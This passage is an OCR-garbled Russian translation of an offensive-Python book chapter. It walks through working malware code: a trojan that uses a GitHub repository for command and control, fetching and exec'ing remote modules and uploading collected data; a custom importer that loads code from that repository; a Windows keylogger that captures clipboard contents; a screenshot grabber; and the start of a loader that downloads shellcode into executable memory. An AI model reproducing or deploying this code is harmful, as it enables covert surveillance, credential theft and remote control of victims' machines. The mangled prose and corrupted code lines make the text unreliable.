MozyJist @, Ona oTBevaeT 3a ckaurBaHue (hailjioB U3 yAaJeHHOTO PENO3UTOPUS
C TOCJEAYIONUM UX YTeHreM JIOKaIbHo. C MOMOIIbIO 9TON (DYHKIIMKU MbI OyaeM
YUTATh KaK IapaMeTPhl KOH(PUTYPAIIUH, TaK U UCXOIHBIN KOl MOy JIei.

Termepb cosmaaumm Kiace Trojan, KOTOPbIi OyeT BBIIOJIHITH OCHOBHBIE 0OsI3aH-
HOCTU TPOSTHA:

class Trojan:
def __init_ (self, id): ©
self.id = id
self.config file = f'{id}.json’
self.data_path = f'data/{id}/' @
self.repo = github_connect() ©

B xoze nnnnmanusaiun oobekTa Trojan @ Mbl riepeiaeM eMy KOH(BUTYParnoHHY IO
UH(GOPMAIIMIO U MY Th, IO KOTOPOMY TPOSIH OY/IET 3alUChIBATH CBOU BBIXOHbBIE
(haiier @, a Takske ycTaHaBIMBaeM coe/nHeHue ¢ pertodutopuem ©. Temeps 10-
6aBUM METO/IbI, HEOOXOAUMBIE JIJIST B3AUMOJIEHCTBUST C 9TUM OOBEKTOM:

def get_config(self): ©
config_json = get_file_contents(
‘config', self.config_file, self.repo

)
config = json.loads(base64.b64decode(config _json))

for task in config:
if task['module'] not in sys.modules:
exec("import %s" % task['module']) @
return config

def module_runner(self, module): ©
result = sys.modules[module].run()
self.store_module_result(result)
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def store_module_result(self, data): @
message = datetime.now().isoformat()
remote_path = f'data/{self.id}/{message}.data’
bindata = bytes('%r' % data, 'utf-8")
self.repo.create_file(
remote_path, message, base64.b6dencode(bindata)

)

def run(self): ©
while True:
config = self.get_config()
for task in config:
thread = threading.Thread(
target=self.module_runner,
args=(task[ 'module'],))
thread.start()
time.sleep(random.randint(1, 10))

time.sleep(random.randint(30*60, 3*60*60)) O

Meton get_config @ m3BiekaeT KOHGUTYPAIMOHHBIN (DAl U3 yAaTeHHOTO
PENO3UTOPHST, YTOOBI Balll TPOSIH 3HAJ, KAKOW MOJLYJIb BBIIIOJIHATH. BbI30B exec
HIEPEHOCUT COIEPIKIMOE MOJLYJIsI B 00BEKT TposiHa @. MeTo module_runner Bbi-
3bIBAET U3 TOJIBKO YTO UMIIOPTUPOBAHHOTO MOy s (hyHKIMIO run © (o ToM, Kak
9TO JIEJIAETCsT, MBI TIO[POOHEe MOTOBOPUM B CJIEYIONIEM pasjiesie). MeTos store_
module_result @ co3maet (aii, M KOTOPOTO COAEPIKUT TEKYIITNE AATy U BpeMH,
1 COXpaHsEeT B HETO CBOI BBIBO/L. TpOHH 6y11eT HMCIIOJIb30BATh 3TU TPU METO/1A /LTI
3arpysKku JIIOOBIX JIaHHbIX, COOPAHHBIX Ha aTaKyeMoM KomiibioTepe, Ha GitHub.

B MeTozie run © Mbl HAUMHAEM BBITIOJIHATH BCe 9TH 3a/1a4r. [1epBbIM /1e710M HY K-
HO B35Th KOH(MUTYPAITMOHHBIN (afia u3 pernozutopus. [locse aToro 3amyckaem
MO/IyJIb B 0T/IesIbHOM 1ToToKe. Haxozsich B MeTozie module_runner, Mbl BbI3bIBAEM
(YHKIIMIO run, TPUHA/JIEKAITYIO MOYJIIO, YTOOBI BBITTIOJHUTD €ro Ko/ I1o okon-
qaHuu pabOThl MO/YJIb IOJIKEH BEPHYTH CTPOKY, KOTOPYIO MbI 3aT€M 3arpy3uM
B PEIIO3UTOPUT.

Koria TpostH BBINOJHUT TIOPYYEHHOE eMy 3ajlaHie, OH MPEKPATUT aKTHBHOCTD
Ha [EeproJ, MPOAOKUTENBHOCTh KOTOPOTO BHIOMPAETCS CIydaiiHo, B MOIBITKE
cOuTBb co caesa mobble cpencTBa aHaau3a ceteBoro Tpaduka @. Koneuno, xeas
CKPBITh UCTHHHBIE HAMEPEHHS TPOSHA, BbI MOIJIM ObI CrEHEPUPOBATD 3aIIPOCHI
K google.com uyii JII0OBIM JPYTUM caiiTaM, 4ToObI Ballla aKTUBHOCTD Ka3aJ1ach J10-
OposKesIaTebHOM.

Terepb MPUMEHUM CHEIUATBHBIN TPUEM, YTOOBI UMIIOPTUPOBATDH YaleHHbIE
daiinbr u3 perozuropust GitHub.
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Mogu¢urauns mexanusma umnopra 8 Python

K 2TOMYy MOMEHTY BbI 7K€ JOJKHbBI 3HATH, YTO MbI MCITOJIb3YEeM CTaHIapPTHbIE ISt
Python urcTpyKitnu import, 4TO6BI KOIMTMPOBATH BHEITHIE OUOIMOTEKHU B CBOH ITPO-
IPAaMMbI 1 KCIIOJIB30BATH UX KOJT. MbI XOTHM C/IeJIaTh TO JKe camMoe 1 Ji7ist Tposiia. Ho
MOCKOJTbKY MBI 3aXBaTUJIN y/IaIEHHBII KOMITBIOTED, BO3MOKHO, TPU/IETCST CTIOB30-
BaTh [IAKETHI, KOTOPHIX Ha HeM HeT. [Ipu aToM yaaieHHas yecTaHOBKA TAKeTOB — He-
npocrast 3aa4a. Eiie Mbl XOTUM c/IeJ1aTh Tak, 4T0Obl 3aBUCHMOCTD Scapy, CKauaHHast
TPOSTHOM, Oblla IOCTYITHA BCEM JAPYTUM MOJLYJISIM, KOTOPbIE MbI 3aTPysKaeM.

Python 1o3BoJIsieT UIBMEHUTH IPOLIEYPY UMIIOPTA MOLYJIEN: eCJI HHTEPIIPETaToOPy
He Y/IaCTCsT HAlTH MOJLYJTb JIOKAJILHO, OH 0OPATUTCSI K OTPe/IeJIEHHOMY HAMU KJIacCy
HMIIOPTA, KOTOPBIN U3BJIEYeT HYKHYI0 OUOINOTEKY U3 YIATEHHOTO PEIO3UTOPHSI.
Kax ToJIbKO MBI CO3Ia7IUM 9TOT KJIACC, UCTIOIB3YS CJAEAYIOMUI KO, er0 HY>KHO
Oyzer 106aBUTH B CITUCOK sys.meta_path:

class GitImporter:
def __init_ (self):
self.current_module_code =

def find_module(self, name, path=None):
print("[*] Attempting to retrieve %s" % name)
self.repo = github_connect()
new_library = get_file contents('modules', f'{name}.py', self.repo)
if new_library is not None:
self.current_module_code = base64.b64decode(new_library) ©
return self

def load_module(self, name):
spec = importlib.util.spec_from_loader(name, loader=None,
origin=self.repo.git_url)
new_module = importlib.util.module_from_spec(spec) @
exec(self.current_module_code, new_module.__dict_ )
sys.modules[spec.name] = new_module ©
return new_module

Knacc GitImporter Gy/er MCIIONb30BAThCS KasKIblil pas, KOrJa MHTEPIPETAToOP
IIBITAETCS 3aTPY3UTh HETOCTYITHBIN MOy 1b. BHavasie metoz find_module mibiTaercst
OTIpe/ieINTh MEeCTOIOJIOKeHe Moy id. MBI 1epeiaeM 9TOT BBI30B 3arPY3UUKY
yaaneHHbix daiinos. Eciu daiin oOHapysKeH B HallleM Pero3uTOPUH, IEKOUPYEM
ero u3 base64 u coxpansiem B kmacc @ (GitHub Bossparmaer ganmbie B popmare
base64 ). Bosspaiuast self, Mbl roBoprM HHTepIpeTatopy Python o Tom, uto Moxy.ib
HaljieH U ero MOKHO 3arpy3uTh ¢ TIOMOIIbIO MeTo/ia load_module. Mcriosib3yem
CTaHIapTHYIO 6MOIMOTEKY importlib, 4TOOBI CHaYas a CO3/aTh HOBBIN MTyCTOI
00BbeKT MOYJist @, a 3aTeM HAIlOJHUTD €ro KoJoM, mosydeHHbiM 13 GitHub.
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Hamoceok cBeskeco3ianHbIil MOTYJTb HYZKHO BCTaBUTD B CITUCOK sys .modules ©,
4yTO6BI OH OBLI JOCTYIIEH BCEM TIOCIEAYIOIUM BHI30BaM import.

Brecewm B Tposin 3aBepinaionine mTpuxu:

if __name__ == '__main__":
sys.meta_path.append(GitImporter())
trojan = Trojan('abc')
trojan.run()

B 6s0ke __main__ Mbl momemiaeM GitImporter B CIIMCOK sys.meta_path, cosmaem
00BEKT Trojan U BLI3BIBAEM €I0 METO]I run.

Tereps mocMoTpHM, Kak 910 paboTaer!

Mpoeepka HANUCAHHOrO

I/ITaK, OHpO6y€M HaIll TPOAH Ha ITPAKTUKE, 3aITyCTUB €TI0 13 KOMaHHOMI CTPOKMU:

OCTOPOXHO

MomHuTe, ecnu B BaAWMX PAMNAX MM MEPEMEHHBIX OKPY>XKEHMA XPAHMUTCA KOH-
duaeHuMansHas MHbopmaums, To nNpu ee sarpyske Ha GitHub oHa 6yget BbI-
cTaesieHd Ha Bceobuwiee o6o3peHme. YTobbl 3TOro HE NPOM3OLWIO, UCMONB3YITE
30KpbITEIE penosnuTopun. M He rosopuTe, UTO Mbl BAC He npeaynpexaany. XoTs,
KOHEYHO, MOXKETE 3AWMTUTHLCA U C MOMOLLbI0O METOAOB WIMGPOBAHUA, O KOTOPBIX

rNnoroeopum B rnase 9.
\ y,

$ python git_trojan.py

[*] Attempting to retrieve dirlister
[*] Attempting to retrieve environment
[*] In dirlister module

[*] In environment module.

Otmmanro! OH TOAKTIOUUICSA K PEIMO3UTOPHIO, TIONYINJ KOHPUTYPATTHOHHBIH
aiir, ckavas 1Ba MOy, KOTOPBIE MBI yKa3an B 9TOM daiisie, 1 3aIyCTHI UX.

Temeps, HaXO/ICH B MAIKE CBOETO TPOSHA, BBEINTE B KOMAHIHON CTPOKE:

$ git pull origin master

From https://github.com/tiarno/bhptrojan
6256823..8024199 master -> origin/master

Updating 6256823..8024199

Fast-forward
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data/abc/2020-03-29T11:29:19.475325.data |
data/abc/2020-03-29T11:29:24.479408.data |
data/abc/2020-03-29T11:40:27.694291.data |
data/abc/2020-03-29T11:40:33.696249.data |
4 files changed, 4 insertions(+)

create mode 100644 data/abc/2020-03-29T11:29:19.475325.data
create mode 100644 data/abc/2020-03-29T11:29:24.479408.data
create mode 100644 data/abc/2020-03-29T11:40:27.694291.data
create mode 100644 data/abc/2020-03-29T11:40:33.696249.data

B R R R
+ + + +

3ameuarenbHo! TPosiH COXpaHUJI B PEIMO3UTOPUHU PE3YIbTaThl PabOTHI ABYX
MOJIYJIET.

B aToT 6a30BbIil METOT YIaJIEHHOTO YIIPABIEHUS MOKHO BHECTH PSI/I YTy YIIIEH .
Jlist Hadasra 66110 ObI HETLTOXO 3aITU(GPOBATh BCE CBOU MOJLYJIN, KOH(PHUTYPaIHOH-
Hble (hailibl 1 coOpaHHbIe JaHHble. BaM Takske cjie[oBajio Obl aBTOMAaTH3UPOBATh
TPOIIECC CKAYMBAHUS TAHHDIX, 0GHOBJIEHYISI KOH(DUTYPAITNH U BHIKATHIBAHIST HOBBIX
TPOSAHOB, €CJIN BbI c06MpaeTec5 I/IH(l)I/IL[I/IPOBaTb CHUCTEMbBI B KPDYITHBIX MaC]_HTa6aX.
C nobassienneM HOBBIX (DYHKIINI BaM ITPUIETCS PACIIUPSITH MEXaHU3M 3arPY3KH
JIMHAMUYECKUX U CKOMITUJIMPOBAaHHbBIX OrOsmorek B Python.

Temeps 3afiMeMcsT cO3/ITaHTEM AaBTOHOMHOTO BPEZIOHOCHOTO KO/IA, & €T0 MHTETPAIIHIO
B CBOM HOBBIN TPOsH ¢ mozep:kkoil GitHub BbI cMoskeTe BBIIIOJIHUTH CaMOCTO-
ATEJIBHO.



PacnpocTtpaHEeHHble TPOsIHCKue
sagaum B Windows

[Tocsie pa3BepThIBaHMST CBOEIO TPOSIHA BbI MOJKETE BbI-
IIOJIHUTD C €T0 ITOMOII[HIO HECKOJIBKO PACIIPOCTPAHEHHDBIX
BPEIOHOCHBIX 33/Ia9: TIEPEXBATUTh HAKATUS KJIABUII,
CO3/1aTh CHUMKHM 9KPaHa ¥ BbIITOJHUTD HIEJI-KO/, YTOOBI
MIPEIOCTABUTh MHTEPAKTUBHBIN CeaHnc AT TAaKUX UHCTPY-
menToB, kKak CANVAS unu Metasploit. /[anmas riaasa mo-
CBSIIIIEHA BBITIOJIHEHHIO ATHX 3a/1a4 B cuctemMax Windows. B saBepiuenue Oyayt
PaccMOTPEHbBI HEKOTOPbIE METO/IbI OOHAPY KEHHUST BUPTYAJIbHBIX OKPYKEHUiT, KOTO-
phIe TTO3BOJITIOT ONPEIEIUTh, BBITOTHIETCS JIW HAII KO/l BHYTPU N30JIUPOBAHHON
Cpenlbl aHTUBUPYCA WU CUCTEMBI 7151 nccaenoBanms BpeponocHoro I10. Ipex-
CTaBJIEHHbIE 371€Ch MOJLYJI MOKHO OyeT JIErko MOAMMDUIINPOBATH U UCIIOIb30BATh
B paMKaX hpeiiMBOpKa /It TPOSTHOB, pa3paboTaHHOro B TJIase 7. B mocepyromnx
JIaBax MbI PACCMOTPUM METOIMKH TIOBBIIIEHMS TPUBUJIETUI, KOTOPbIE MOSKHO TIPH-
MEHSTD C ITOMOIIBIO Baliero Tposina. Kaskast u3 Hux nMeer HeIOCTAaTKU 1 MOKET
cTaTh MPUINHOI 0OHAPYKEHNUST BAIINX IEUCTBUIT TMO0 KOHEUHBIM TT0JIb30BATEIEM,
MO0 aHTUBUPYCHON CUCTEMOIA.

CoBeTyeM BaM THIATETBHO TOTOBUTHCS K aTaKaM IIOCJe BHEAPEHUS TPOSHA: Te-
CTUPYIATE CBOM MOJIYJIU B JIAOOPATOPHBIX YCJIOBUSIX, TPEKIE YeM TIPUMEHSITh X
IIPOTUB sKepTBbL. HauHneM ¢ co3ianus mpocToro Keiorrepa.
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Kennorrep gnsa nepexBara HAXXATUN K/IABULL

Keiinozzep — ato ckpbiTasg mporpamMma, mpeiHasHadyeHHas /I 3aIICH TOCIe/10-
BaTeJbHBIX HAKATUI KaaBull. Ee mpuMeHeHne — OJWH U3 CTapEeUNIuX TPIOKOB,
KOTODPBIN B HAIU THU UCIIOJIB3YETCS ¢ PA3HON CTETeHBIO CKPBITHOCTU. XaKePhI
MO-TIPE;KHEMY TIOJIb3YIOTCSA KEHI0TTepaMu, TaKk Kak OHM TT03BOJIIIOT Ype3Bbluaii-
HO 3(hHeKTUBHO MepexBaThIBaTh KOHMUACHITNATIBHYIO MH(MOPMAIINIO, TAKYIO KaK
yJeTHBIE TaHHBIE NN PA3TOBOPHL.

CyectByer 3ameuaresbHast Gubroreka st Python o nassanuem PyWinHook
(https://pypi.org/project/pyWinhook/), KoTopasi II03BOJISIET JIEFKO 3alIUChIBATH JTI0ObIE
cobbITHst KnaBuatypbl. OHa SIBJISIETCSI OTBETBJIECHUEM OPUTHHAIBLHOIN OO IMOTEKN
PyHook u numeer nomuepxky Python 3. PyWinHook npumensieT cranmapTHyto
st Windows dyHKImio SetWindowsHookEx, KOTOpPast IIO3BOJISIET YCTAHOBUTD TTOJIb-
30BaTeJIbCKUN 0OPAGOTUNK, BBI3HIBAEMBIN B OTBET Ha OTPE/IeJIeHHbIE CUCTEMHBIE
COOBITHS. 3apEruCTPUPOBAB XYK JJIsI COOBITHIT KITaBUATYPBI, MBI CMOKEM Iepe-
XBaThIBaTh JIFOObIE HAKATHSI KJIABHUIII, BBITTOJIHSIEMbIE KepTBOil. Kpome TOTO, Ham
HOTPeOYIOTCS TaHHBIE O TOM, JIJIsI KAKKX ITPOIECCOB MPEIHA3HAYECHBI 9TH HAKATHS,
4T0ObI 3HATD, KOT/IA BBOJSITCST MMEHA MOJIb30BaTe e, TAPOJIN HITH JIPYTHE JAKOMbIe
KYCOYKW TT0JIe3HON nH(OopMaImm.

PyWinHook 6eper Ha cebs1 Bce HU3KOYPOBHEBbIE aCIIEKThI IIPOrPaAMMUPOBAHNS,
[O3BOJISIA HAM COCPEIOTOYMThCS Ha OCHOBHOM Jioruke Keilorrepa. Cosmaaum
daitn keylogger.py ¥ HAIIOJJHUM €T0O KOJIOM:

from ctypes import byref, create_string_buffer, c_ulong, windll
from io import StringIO

import os

import pythoncom

import pyWinhook as pyHook
import sys

import time

import win32clipboard

TIMEOUT = 60*10

class KeyLogger:
def __init_ (self):
self.current_window = None

def get_current_process(self):
hwnd = windll.user32.GetForegroundWindow() ©
pid = c_ulong(®@)
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windll.user32.GetWindowThreadProcessId(hwnd, byref(pid)) @
process_id = f'{pid.value}"'

executable = create_string_buffer(512)
h_process = windll.kernel32.0penProcess(0x400|0x10, False, pid) ©
windll.psapi.GetModuleBaseNameA(®
h_process, None, byref(executable), 512)
window_title = create_string_buffer(512)
windll.user32.GetWindowTextA(hwnd, byref(window_title), 512) ©
try:
self.current_window = window_title.value.decode()
except UnicodeDecodeError as e:
print(f'{e}: window name unknown')

print('\n', process_id, O
executable.value.decode(), self.current_window)

windll.kernel32.CloseHandle(hwnd)
windll.kernel32.CloseHandle(h_process)

Otauuno! MuI onpenennsan KOHCTAHTY TIMEOUT, co3aiu HOBBIM KJjacc
KeylLogger u HamucaJu MeToJ get_current_process, KOTOPBIi OyaeT 3axBa-
ThIBaTh aKTUBHOE OKHO BMecTe ¢ ero ID. BHyTpu aToro merojia Mbl cHavaJja
JleJlaeM BBI3OB GetForeGroundWindow @, KOTOPBINI BO3BpalIaeT JeCKPUIITOP
AKTMBHOTO OKHA Ha paboYyeM CTOJIE JKePTBBI. 3aTeM IepefiaeM 9TOT AECKPUITOP
dbyHkrK GetWindowThreadProcessId @, uToObl mosyunthb ID mporiecca, KOTo-
pOMY NPUHAJIEKUT OKHO. /lasibliie OTKPbIBaEM 3TOT 1poiiecc © u rnojydaem ero
JIECKPUTITOP, TI0O KOTOPOMY HAXOINM MM eTo nuctorHgeMoro daiira @. B kage-
CTBE UTOrOBOTO I1ara 3almcbiBaeM MOJHbBIN TEKCT 3aroJIOBKAa OKHA, UCTIOJb3Y S
dyHkImio GetWindowTextA ©. B KoHIle BCIIOMOTATETbHOTO METO/Ia BBIBOJIUM
BCIO TIOJIy4eHHYI0 nH(bopMaInio @ B akKypaTHOM BuUJe, YTOObI HATJISIAHO MO-
Ka3aTb BCe HAKATUS KJABUII, a TaKyKe IMPOIeCChl 1 OKHA, KOTOPBIM OHU TIPe/I-
Ha3HAYaAuCh. Tenepp JommineM Hall KeHIorrep, JOIOAHUB er0 He0OX0 MO
(byaKIIIOHATEHOCTBIO:

def mykeystroke(self, event):
if event.WindowName != self.current_window: @
self.get_current_process()
if 32 < event.Ascii < 127: @
print(chr(event.Ascii), end="")
else:
if event.Key == 'V': ©
win32clipboard.OpenClipboard()
value = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
print(f'[PASTE] - {value}")
else:
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print(f'{event.Key}")
return True

def run():
save_stdout = sys.stdout
sys.stdout = StringIO()

kl = KeyLogger()

hm = pyHook.HookManager() @

hm.KeyDown = kl.mykeystroke ©

hm.HookKeyboard() @

while time.thread_time() < TIMEOUT:
pythoncom.PumpWaitingMessages()

log = sys.stdout.getvalue()

sys.stdout = save_stdout

return log

if __name__ == '_main__":
print(run())
print(‘'done.")

PasbepeM 3TOT Koji, HauMHas ¢ GYHKIMK run. B riase 7 Mbl o311 MOJLYJIH,
KOTOPbIE MOTYT BBITIOJTHSATHCST BO B3IIOMAHHOU CUCTEME. Y KasKI0TO MOTYJist Oblia
TOYKA BX071a — (DYHKIIUS C UMEHEM run, TO3TOMY HaIll KEHJIOTTep HATTUCAH 110 TOMY
JKe MPUHITUITY U €I0 MOJKHO OY/IET HCII0JIb30BaTh TAKUM ke 06pazoM. DyHKIHs run
B CHCTEME Y/IAJIEHHOTO YIIPABJIEHWS U3 TJIABbI 7 HE IPUHUMAET HUKAKUX apryMeH-
TOB 1 BO3BPAIIlaeT CBOI BHIBO/. UTOOBI TIOBTOPUTH 3TO MOBE/IEHIE, Mbl BDEMEHHO
HepeHanpaBuM MOTOK stdout B 00BEKT-1eCKPUNITOP StringI0. B pesybraTe Bee,
4To Oy/IeT 3arncalo B stdout, ONaeT B 3TOT 00BEKT, K KOTOPOMY MbI T103Ke 00-
paTmmMcs.

[Tocie nepenanpasienus: stdout Mbl co3aeM 0ObEKT KeylLogger 1 Ompe/eisieM
HookManager u3 cocraBa PyWinHook @. /lasibiiie npuBsiabiBaeM coObITHE KeyDown
K 06paTHOMY BBI30BY mykeystroke @, KOTODbIi IpUHALIEKUT Kaaccy KeyLogger.
3arem npocum PyWinHook mepexBatbiBaTh Bee HaxkaTus KjaaBuin @ u mpo-
JIOJI;KaeM BBITIOJTHEHHE, TTOKa He MCTeueT BpeMs o:kumanus. Kaskabrii pas, Kormaa
JKepPTBa HA)KMMAET KJIABUIITY Ha KIaBUATYPe, BEI3BIBAETCS HAIIT METO mykeystroke
¢ 06bEKTOM COOBITHS M €ro mapaMeTpoM. B mykeystroke MbI IEPBBIM JEIOM
poBepsieM, BbIOpaJI JI M0JIb30BaTeIb HOBOEe OKHO @, U ecjiu [a, TO MoJydyaeM
HazBaHUe HOBOTO OKHA u MHMopMaiuio o npoiecce. [loce aroro ananmusupyem
Ha)KaTyIo KJaBunry @ u, ecan oHa HaxoAWTcs B MmedyaTHoM auamazone ASCII,
TIPOCTO BBIBOAMM ee. Ecum aTo MomndukaTop (Takoit kak Shift, Ctrl num Alt) ninm
Jobas HecTaHapTHAsI KJIABUIIIA, MbI U3BJIEKAEM €€ Ha3BaHUe 13 00beKTa COOBITHSL.
A Takske TIpoBepsIeM, BBITIOTHSET JIM TTOTH30BATEb OTIePAIIAIoO BCTAaBKU O, 11 ecoint
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J1a, BBIBOJIMM cojiepskumoe Oydepa o6Mmena. B 3aBepiienue ¢hyHKIMS 06paTHOTO
BbI30Ba BO3BpAllaeT True, 4TOOBI IIO3BOJIKMTH CJEAYIONIEMY XYKY B IIeMOUKe (ec/Iu
TaKOBOI umeercs) obpaboraTh cobbiTHe. JlaBaiiTe MOCMOTPUM, KaK 9TOT KOJ 110-
BezieT cebs Ha IIPAKTHUKE.

MpoBepka HAaNUcaHHOro

[IporecTuposats HatI Kefisorrep HecJT0KHO. [l0cTaTOYHO ero 3amyCTUTh U 3aTeM
IPOLOJIKUTE 1oJib30oBaThess Windows kak HU B ueM He ObiBajio. [Tonpobyiite
nopaboraTh ¢ Gpay3epoM, KaJbKyJsATOPOM U JIIOOBIM APYTUM MPUTIOKEHIEM
U [IOTOM ITPOCMOTPUTE PE3YJIBTAThI y ce0s B TEPMUHAIE:

C:\Users\tim>python keylogger.py

6852 WindowsTerminal.exe Windows PowerShell
Return
test

Return

18149 firefox.exe Mozilla Firefox
nostarch.com
Return

5116 cmd.exe Command Prompt
calc
Return

3004 ApplicationFrameHost.exe Calculator
1 Lshift
+1

Return

Kak Bunute, B r1aBHOM OKHe, B KOTOPOM BBITIOJIHSIJICS CKPUIT KEMJIOTTEpa, MbI
Habpasu cJoBo test. 3arem 3amycrusu Firefox, oTkpbiim caiit nostarch.com u mo-
paboTaan ¢ HEKOTOPBIMU APYTUMK TPUIOKEHUAME. Terepb MOKHO ¢ YBEPEHHO-
CTBIO 3asIBUTH, UTO B HAIIIEM apceHase TPOSTHCKIX MTPHUEMOB TIOSBUJICS Keforrep!
[TepeiiiemM K CO3/1aHUIO0 CHUMKOB 3KpaHa.

Co3zpgaHMe CHUMKOB 3KpPaHA

BompmmncTBO BpeioHOCHBIX TIPOTpaMM 1 (hpeliMBOPKOB /17151 TECTUPOBAHUS HA
IIPOHMKHOBEHUE TIO/ICPKUBAIOT CO3/IaHNe CHUMKOB 9KpaHa Ha YAAJICHHOM KOM-
bioTepe. DTO MOKET TIOMOYB € 3AXBATOM N300PaKEH I, BUIEOKAIPOB UJIH JAPYTOil
KOHGUIEHIINATBHON NHMOPMAINHU, KOTOPBIE MOTYT OCTAThCSI HE BBISIBJICHHBIMU
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IIPY MCIIOJIb30BAHNN aHAIM3ATOPOB Tpaduka uin Keistorrepos. K cuacTpio, Mbl
MOKEM BOCIOJIb30BATHCSI TTAKETOM pywin32, 4TOObI TONYYUTh CHUMKHI 9KpaHa
IIyTEeM BBITIOJIHEHMSI CUCTeMHBIX BbI30BOB Windows API. YeraHoBuTe 9TOT Haker
C IIOMOIIIBIO pip:

pip install pywin32

Jlist 3axBaTa CHUMKOB ¥ OTIPE/IE/IEHUsT TAKMX OOTIIX CBOMCTB, KaK pasMep aKpaHa,
ucnosbsyercs nnrepdeiic GDI (Graphics Device Interface — unrepdeiic rpacdu-
4yecKoro ycrpoiictsa), gzoctynnbiii B Windows. Hexoropoe crienmuaansnupoBaHnHoe
ITO nesraeT CHUMKH TOJTBKO TEKYIIETO AKTUBHOTO OKHA WJI MTPUJIOMKEHUST, HO MbI
Oynem 3axBarbiBaTh Bech akpaH. [Ipuctymm. Coszaiite daiin screenshotter. py
u HabepuTe CJIeLyIOINI KO/

import base64

import win32api
import win32con
import win32gui
import win32ui

def get_dimensions(): ©
width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)
return (width, height, left, top)

def screenshot(name='screenshot'):
hdesktop = win32gui.GetDesktopWindow() @
width, height, left, top = get_dimensions()

desktop_dc = win32gui.GetWindowDC(hdesktop) ©
img_dc = win32ui.CreateDCFromHandle(desktop_dc)
mem_dc = img_dc.CreateCompatibleDC() @

screenshot = win32ui.CreateBitmap() ©
screenshot.CreateCompatibleBitmap(img_dc, width, height)
mem_dc.SelectObject(screenshot)
mem_dc.BitB1t((0,0), (width, height), O

img_dc, (left, top), win32con.SRCCOPY)
screenshot.SaveBitmapFile(mem_dc, f'{name}.bmp') @

mem_dc.DeleteDC()
win32gui.DeleteObject(screenshot.GetHandle())

def run(): ©
screenshot ()
with open('screenshot.bmp') as f:
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img = f.read()
return img
if __name__ == '__main__":
screenshot()

JlaBaiiTe MOCMOTPUM, YTO JieJlaeT 3TOT HeOOMBIION CKPUTIT. MBI TIOJydaeM
JIECKPUTITOP Bcero paboyero crosa @, KOTOPHIH OXBaThIBAET BCE BUAMMOE
MPOCTPAHCTBO HA BCeX MOHUTOPaAX. 3aTeM OmpeziesiseM pasMep aKpaHa (Man
9KkpaHoB) @, 4TOOBI 3HATH, HACKOJBKO OOJIBIIMM J0JKEH OBITh HAIll CHUMOK.
Co3/aeM KOHTEKCT YCTPOMCTBA C TOMOIIBIO (DyHKITNHU GetWindowDC © u mepe-
faeM geckpunTop pabodero crosa (60Jblie 0 KOHTEKCTaX YCTPONUCTB U MPO-
rpaMmupoBanuu ¢ ucnosbzoBanueM GDI moxxHo y3HaTh Ha calite MSDN 1o
azipecy msdn.microsoft.com). Jlasibiiie cosz/iaeM KOHTEKCT yCTPOHCTBA B TaMsATH @,
B KOTOPOM OYZyT XPAHUTHCST OAiiThl 3aXBAYEHHOTO PACTPOBOTO M300paKeHUs,
[OKa MbI He 3amnuineM uX B (aiir. Besen 3a oM cosmaeM 00bEKT PacTPOBOTO
nuzobpakenus O, NPUBI3aHHBIA K KOHTEKCTY yCTpoiicTBa Hamero pabouero
crosia. Boi3os SelectObject mesaet Tak, YTOObI KOHTEKCT YCTPONUCTBA B TAMSTH
YKa3bIBaJl Ha 00BEKT 3aXBATHIBAEMOTO PACTPOBOTO M300pakeHUsT. MbI HCITOJIb3Y -
eM pyHKIMio BitBlt @, 4TOOBI CO3/1aTh TOUYHYIO KOO TOTO, YTO U300PasKEHO Ha
9KpaHe, 1 COXPAHUTH €€ B KOHTEKCT B MaMITH. DTO CBOETO PO/ia AaHAJTIOT BBI30BA
memcpy 17t 06bekToB GDI. B KauecTBe 3aKIIOUUTENIBHOTO Iara coOpachiBaeM
JIAHHBIN CHUMOK Ha JTUCK @.

ITOT CKPHUIIT JIETKO MPOBEPUTH: MPOCTO 3AMYCTUTE €Tr0 U3 KOMAaHAHOW CTPOKHU
U 3aTJITHUTE B KATAJIOT, TIPeHA3HAYeHHBIN 71 3ancH (aiira screenshot. bmp.
Moskere 106aBUTH 9TOT CKPUIIT B ¢BOii penosuropuil Ha GitHub ¢ koxom st
YAQJIeHHOTO YIIPaBAeHNs, MOCKOAbKY (DYHKIMSA run @ BBI3BIBAeT screenshot
JUIST CO3/IaHNUsT N300PaKeHUsT, TOCJIE YETO CYUTHIBAET U BO3BPAIIAET COAEPKUMOE
MOJIy4eHHOTO (haita.

JlaBaiiTe 3afiMmeMcs BBITIOJTHEHUEM IIIeJII-KO/Ia.

BoinonHeHue wenn-koga Ha Python

B kakoii-To MOMEHT y BaC MOKET BO3HUKHYTD jKeJIaHUe TTOB3aUMO/IECTBOBATD CO
B3JIOMaHHBIMU BaMUn KOMHBIOTepaMI/I WJIn IIpUMEHUTD HOBbIﬁ MO/IyJIb CO CBOETO
J06UMOTO (hpeiiMBOpKa [IJIsT TECTUPOBAHUS HAa MPOHUKHOBEHNE MU CO3IaHUS
9KCIIOUTOB. ITO 0OBIYHO (XOTh U HE Bceraa) TpedyeT BBIIOTHEHHS MIeJI-Koja
B TOM MJIM NTHOM BHU/IE. LITO6I)I BbITIOJIHUTDH IIEJIJI-KO/L HaHpHMyIO, HE IIpuKacasiCb
K (ailyioBoii cucTemMe, Mbl IOJUKHBI CO3/IATh JIJIs €r0 XpaHeHust Oydep B maMsTu
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U TIOJIYYUTD yKasaTedb (PyHKIIMU Ha HETO C TTIOMOIIbIO MOYJIS ctypes. 3aTeM
OCTAHETCSI JIUIIb BBI3BATH 3Ty (QYHKIIHIO.

B mprMepe MbI BOCIIOIb3yeMcst MOJIyJieM urllib, 4TOOBI B3SITH MIEJI-KOJ ¢ BEO-
cepsepa B popmare base64 ¢ ocieayrommm ero BoinosinenneM. Haunem! Cospaiite
(aiin shell_exec.py 1 HabepuTe TaKOW KOJI:

from urllib import request

import base64
import ctypes

kernel32 = ctypes.windll.kernel32

def get_code(url):
with request.urlopen(url) as response: @
shellcode = base64.decodebytes(response.read())
return shellcode

def write_memory(buf): @
length = len(buf)

kernel32.VirtualAlloc.restype = ctypes.c_void_p
kernel32.Rt1lMoveMemory.argtypes = (©
ctypes.c_void_p,

ctypes.c_void_p,

ctypes.c_size_t)

ptr = kernel32.VirtualAlloc(None, length, 0x3000, 0x40) @
kernel32.Rt1lMoveMemory(ptr, buf, length)
